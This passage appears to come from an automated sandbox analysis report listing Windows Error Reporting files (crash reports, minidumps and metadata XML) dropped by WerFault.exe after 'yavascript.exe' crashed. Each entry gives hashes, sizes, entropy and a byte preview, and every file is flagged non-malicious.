                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.8629635272567121
                                                  Encrypted:false
                                                  SSDEEP:96:KiQUn6Sgs1h/H7ifK5QXIDcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1EoqzIPtZrXOo:iUvgV056rAjueZrUzuiFEZ24IO8P8
                                                  MD5:9CF9B94295158BA6C3C65070BFCCEA6B
                                                  SHA1:4CBADF5594CA02AD1E785220023BD3E95F3A9588
                                                  SHA-256:A4AE0F628C0FC362CCBF48BBE398F94F514D25610639EABCAA59C6E1CA6B469D
                                                  SHA-512:A4100CE0AFE668C3DD8122E237E82DEE92E0D00370C4BAA691AC609250CAF500A618595D550B0EC0E36CED455EFC826417C47034FF2B3D32100304263392C0E2
                                                  Malicious:false
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.9.2.6.7.1.2.1.0.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.a.4.6.0.8.f.5.-.6.7.6.e.-.4.6.2.f.-.b.7.4.a.-.1.f.a.a.0.4.0.b.6.8.e.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.3.c.6.d.f.6.4.-.4.9.f.2.-.4.5.8.4.-.b.9.6.c.-.d.c.6.d.f.3.a.0.d.f.4.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.a.v.a.s.c.r.i.p.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.6.4.-.0.0.0.1.-.0.0.1.4.-.a.f.9.e.-.2.2.0.8.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.5.c.1.e.b.a.f.9.5.8.1.3.4.e.6.7.4.a.7.a.7.b.d.1.6.3.6.2.9.2.4.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....B.o.o.t.I.d.=.4.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yavascript.exe_fa9e4e8d3b80fb4adbc47eaa8b67a388941b639_ea442dc3_80ed37e4-47ad-41a4-a9fe-83f0e09e4877\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.9260825429356135
                                                  Encrypted:false
                                                  SSDEEP:96:ELTn6Szs1h/H7ifK5QXIDcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1EoqzIPtZrXOni:CvzV056rAjueZr7fzuiFfZ24IO8P8
                                                  MD5:08306546829AC00D0C14A01E96AF7CA0
                                                  SHA1:E08708F4F83A830D6778CA273A37AC005235DE63
                                                  SHA-256:9D58F0589D654BB5922FB632B937201312B1518D136B34BE8A22843175C165B9
                                                  SHA-512:F89AB69C6CFCA6E82659B532521FCAD16076A52E9DB7EE773BCD5444D4E32F5CCBBDF909CA42550C931C01ECA68AB29C5A6734BFC443D58DE463E2B6C05AF669
                                                  Malicious:false
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.9.9.0.5.0.7.8.9.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.0.e.d.3.7.e.4.-.4.7.a.d.-.4.1.a.4.-.a.9.f.e.-.8.3.f.0.e.0.9.e.4.8.7.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.c.e.5.b.9.c.3.-.d.0.8.9.-.4.4.6.4.-.9.d.f.6.-.9.f.c.1.2.4.6.2.d.a.f.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.a.v.a.s.c.r.i.p.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.6.4.-.0.0.0.1.-.0.0.1.4.-.a.f.9.e.-.2.2.0.8.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.5.c.1.e.b.a.f.9.5.8.1.3.4.e.6.7.4.a.7.a.7.b.d.1.6.3.6.2.9.2.4.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....B.o.o.t.I.d.=.4.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yavascript.exe_fa9e4e8d3b80fb4adbc47eaa8b67a388941b639_ea442dc3_c05fd1f0-6c7f-4c2d-ba2c-bb8a139638ae\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.8910493488412927
                                                  Encrypted:false
                                                  SSDEEP:96:NdVzSn6Srs1h/H7ifK5QXIDcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1EoqzIPtZrXG:pSvrV056rAjueZr7rzuiFEZ24IO8P8
                                                  MD5:C50421A833295280483AC7F4BD50BBAD
                                                  SHA1:F2CAD8C1E5C46C1A23A439DE01D877F6B999CF0A
                                                  SHA-256:F164F03BAB7546E335C9C1D7EE4FA87018DE79C28AAAA586EBC7314E0D11E54C
                                                  SHA-512:0EC74287B309639F2B57A68A1F13B5C4CD7A53E187B3FB31CB4931454166DBA2CF56CD8B421826583DF4088D36A6A0462DC74306D7273CEAEEA8B96DEDB99AB2
                                                  Malicious:false
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.9.6.6.3.2.7.3.8.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.0.5.f.d.1.f.0.-.6.c.7.f.-.4.c.2.d.-.b.a.2.c.-.b.b.8.a.1.3.9.6.3.8.a.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.e.f.a.0.9.e.1.-.7.0.6.c.-.4.e.5.c.-.b.4.b.9.-.f.3.7.c.f.d.0.8.a.8.4.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.a.v.a.s.c.r.i.p.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.6.4.-.0.0.0.1.-.0.0.1.4.-.a.f.9.e.-.2.2.0.8.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.5.c.1.e.b.a.f.9.5.8.1.3.4.e.6.7.4.a.7.a.7.b.d.1.6.3.6.2.9.2.4.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....B.o.o.t.I.d.=.4.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yavascript.exe_fa9e4e8d3b80fb4adbc47eaa8b67a388941b639_ea442dc3_d5034083-66b7-4bc5-8621-0b3fd0a9b59f\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.8909203669259733
                                                  Encrypted:false
                                                  SSDEEP:192:HIyWv1V056rAjueZr7rzuiFEZ24IO8P8:oyWv1256rAjzzuiFEY4IO8P
                                                  MD5:8BFCDB863815405C235EFA184DE6F5E2
                                                  SHA1:863113EDDC133437F24860CACB31BC4F1DC78FAF
                                                  SHA-256:0E6E4E177E6A72A2EFFCAFE8A0CDB1B831F73F37E6E683F72048F84F8D399175
                                                  SHA-512:FFA7DF43C3D2694F340E412C253FD20FE4E65C8ECA1685628AD8287338B5524DA49BED56762DAEC2E4FE8C72317B79D33E2AC9ED8D51AB0B1B08C430D647D8B6
                                                  Malicious:false
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.9.4.7.5.2.2.2.1.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.5.0.3.4.0.8.3.-.6.6.b.7.-.4.b.c.5.-.8.6.2.1.-.0.b.3.f.d.0.a.9.b.5.9.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.3.7.4.2.7.1.4.-.c.c.7.3.-.4.9.0.8.-.9.f.3.a.-.7.d.b.0.c.8.9.8.7.d.c.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.a.v.a.s.c.r.i.p.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.6.4.-.0.0.0.1.-.0.0.1.4.-.a.f.9.e.-.2.2.0.8.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.5.c.1.e.b.a.f.9.5.8.1.3.4.e.6.7.4.a.7.a.7.b.d.1.6.3.6.2.9.2.4.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....B.o.o.t.I.d.=.4.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yavascript.exe_fa9e4e8d3b80fb4adbc47eaa8b67a388941b639_ea442dc3_d9e72632-a037-474d-b34f-b72a65f2378a\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.8905734463135178
                                                  Encrypted:false
                                                  SSDEEP:192:nvCV0JsAnbcAPjueZr7rzuiFEZ24IO8P8:nvC2JsAnbcAPjzzuiFEY4IO8P
                                                  MD5:BC46B4637C7E3795B5F8986708C28FE1
                                                  SHA1:F938E4C380CACC8DEE629EE095A9F5F406B0A850
                                                  SHA-256:48A7BA13D6155A143DC2C5B45FA208AE7C229391A908DFF34407E17960754B4E
                                                  SHA-512:FA6DFD6E96E4C32402FB5129BD10837747A085B7E21CF863003E0368C36B967D25494338662C84646987C4D65F7894E0928BE1FB208E6F1C01D8968D1D01299D
                                                  Malicious:false
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.9.5.4.2.6.7.6.6.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.9.e.7.2.6.3.2.-.a.0.3.7.-.4.7.4.d.-.b.3.4.f.-.b.7.2.a.6.5.f.2.3.7.8.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.0.b.f.9.d.c.7.-.0.0.3.9.-.4.3.d.3.-.9.f.f.a.-.1.a.d.5.c.6.1.5.5.5.c.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.a.v.a.s.c.r.i.p.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.6.4.-.0.0.0.1.-.0.0.1.4.-.a.f.9.e.-.2.2.0.8.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.5.c.1.e.b.a.f.9.5.8.1.3.4.e.6.7.4.a.7.a.7.b.d.1.6.3.6.2.9.2.4.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....B.o.o.t.I.d.=.4.

                                                  C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yavascript.exe_fa9e4e8d3b80fb4adbc47eaa8b67a388941b639_ea442dc3_e70cd363-f436-4639-95df-6b55209920b6\Report.wer

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):65536
                                                  Entropy (8bit):0.9263110196086438
                                                  Encrypted:false
                                                  SSDEEP:96:tu+n6Sms1h/H7ifK5QXIDcQnc6rCcEhcw3rr+HbHg/8BRTf3Oy1EoqzIPtZrXOn5:VvmV056rAjueZr7fzuiFEZ24IO8P8
                                                  MD5:085A844D857BA07C9D823B9810668250
                                                  SHA1:5763DFCB1E2DB68C2E6BA408BC63D948202F9C56
                                                  SHA-256:885E2246EDBD7ADD006C320471BFE19E5C7F398073D431C6D001EAD441157740
                                                  SHA-512:687F8DB6EF9FC9740B18D2098885A0EB3E4D8FA1829383432B6800826FE26687A2095175C461A9B2E570B4EBE30C8B88BA947A1416CAC8FDA535B1DE8B74F18B
                                                  Malicious:false
                                                  Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.6.5.3.4.9.7.4.0.8.9.7.2.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.7.0.c.d.3.6.3.-.f.4.3.6.-.4.6.3.9.-.9.5.d.f.-.6.b.5.5.2.0.9.9.2.0.b.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.3.4.f.7.7.b.5.-.4.9.d.9.-.4.2.f.c.-.9.9.c.a.-.7.4.4.1.7.c.2.1.e.c.e.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.a.v.a.s.c.r.i.p.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.6.4.-.0.0.0.1.-.0.0.1.4.-.a.f.9.e.-.2.2.0.8.2.5.4.e.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.5.c.1.e.b.a.f.9.5.8.1.3.4.e.6.7.4.a.7.a.7.b.d.1.6.3.6.2.9.2.4.0.0.0.0.f.f.f.f.!.0.0.0.0.e.f.2.e.b.6.6.0.d.9.8.5.b.f.b.6.9.3.f.c.d.b.5.b.8.1.c.3.c.c.f.f.b.9.7.6.3.6.4.6.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.0.1.:.0.8.:.2.9.:.3.1.!.0.!.y.a.v.a.s.c.r.i.p.t...e.x.e.....B.o.o.t.I.d.=.4.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD22.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:05 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):55176
                                                  Entropy (8bit):2.2178518020037368
                                                  Encrypted:false
                                                  SSDEEP:384:ZwZOnTcwzLFt4dXA1BpFjjRMTPC8QltY:ZwZOnNnFtnxFvdb
                                                  MD5:B5EF1008F1ECDF68DE3A446F82EDD28A
                                                  SHA1:6198C0C527BD7A456BEB1FEFE8840DA307AACD29
                                                  SHA-256:1159FEF907C7B9240B38DCAE43BB00196007CDF5D8B83729191E255760AB58CA
                                                  SHA-512:C5CEDE17B54A48FDDB110408F61B8036587538E4EC37182EA442C5091EF7AEC41E650DF58950A7C52F6F607C63A5CC3A1618BCB5F26C4AE618B10CC08B7DFBF5
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......-|]g....................................4..../..........T.......8...........T...........@%..H...........`...........L...............................................................................eJ..............GenuineIntel............T.......d...*|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERBDFD.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8322
                                                  Entropy (8bit):3.696866214456675
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJHN6Y/6YEIPSU3wygmfH2pBw89b1A7wsf8nm:R6lXJt6w6YEQSU3dgmfHM1qfB
                                                  MD5:4CACCD3236DFA0B83A0C9828A820F297
                                                  SHA1:F8D804B8B6D3A4C77D255AB66A121ACE1F4E8E60
                                                  SHA-256:B1DD48DD05E7A3FF134BA4CBA1D8C9C80660B51AC5033EA871B0868E81190271
                                                  SHA-512:A899076D8270319AECEE793164651CEFBCF4663FE3BDFE2EFD62E389785DEC9AF4E75918F04BA75E074504F00C4D594E67AC29F1FA46E6A9374DF6FD67250B6D
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.6.8.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE5C.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4593
                                                  Entropy (8bit):4.458943477117344
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VYCYm8M4JmBZFn5+q8C5IKTmd:uIjf0I7qy7ViJ05mKTmd
                                                  MD5:01FEF4F8F2D359B43D28982DA60B40FA
                                                  SHA1:8D84A7219472220D3D7850850FE7F67C15C5272B
                                                  SHA-256:D1197FA2E6A10BB4B0C7EA2F6CD1A31A443B5AD5909BDF82A660B6FA17E214A0
                                                  SHA-512:D9CF94688D39F61ED661CDFF8950F66E51D6930CFA2F0803B5B144760AC9DFB80BF5358D63CBCE65C386A7D965035C825886D97E545BD8498D7DE982BB6B9D46
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERC010.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:05 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):83028
                                                  Entropy (8bit):2.2976139807195963
                                                  Encrypted:false
                                                  SSDEEP:384:wbYYfWM1RntkSo3HRNfwJyckvH7i5Leey0NLqTFjjRMOhTPFg/A1f6Twp:wbLfW6Rnt7obnv+0eyBTFvvRPeA1ft
                                                  MD5:216D368429AD77EAACC45C49F03F1B5F
                                                  SHA1:76D3ADB590BF84569C487EFC1EF603991F639222
                                                  SHA-256:F32D74FB3197AB53EFFFB259E9251D7C280D595DFC231E8FB4245C441BA5FFA2
                                                  SHA-512:C0B72C21CCF46F1CFA0DF713B42D29F43DD92DF7B035C2CFF7915F73D624077C9ABE4858BA21E87F2685A88A72CE34894BC98867A4E566C00CBDE13A7DDC73EF
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......-|]g............T...........l...\.......$....9..........T.......8...........T............*..........................................................................................................eJ......L.......GenuineIntel............T.......d...*|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERC08E.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8322
                                                  Entropy (8bit):3.698692429979878
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJHa67Le6YEI7SU3wygmfH2pBa89b1A7wsfcbnm:R6lXJ66e6YEkSU3dgmfHi1qfcy
                                                  MD5:B2DAECA7D8D101E29771A12225778D6D
                                                  SHA1:8834829C3DAE04756A73FEC5126EBF2C5CC20C21
                                                  SHA-256:DD27B72D98506105BB26C1B55DAF8F6C97A00CF329B98D916CD8AA5E14D53D9D
                                                  SHA-512:752D06C7646285C944474C54331991A63B07D1DE806AC8FDA6E52CCB3082A40A549E615A30D3F25CE7E85047B14BC70052DCF080928ADC17A1DF9962B715FDFF
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.6.8.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERC0DD.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4593
                                                  Entropy (8bit):4.4579149644535265
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VYm7Ym8M4JmBZF+J+q8C5IKTmd:uIjf0I7qy7VteJJmKTmd
                                                  MD5:8039080B5CDF2B04AAD24B6F4DBAE0FB
                                                  SHA1:6EBE0FBA1E8146356D3C5BAE7623011FB9549D51
                                                  SHA-256:AFF9A1FD6F541C28265EB374BAF5F3ABF4CB07FCFC7C1CEAD75354BA0E61BB35
                                                  SHA-512:D55E3894E30E7469A0F377F6F24BEB678AB49B2DF45354471F29997C55102DD697228F77451EFD3E25342AE528AED6998C88611A3A8B810DB9FA0BE62564CC95
                                                  Malicious:false
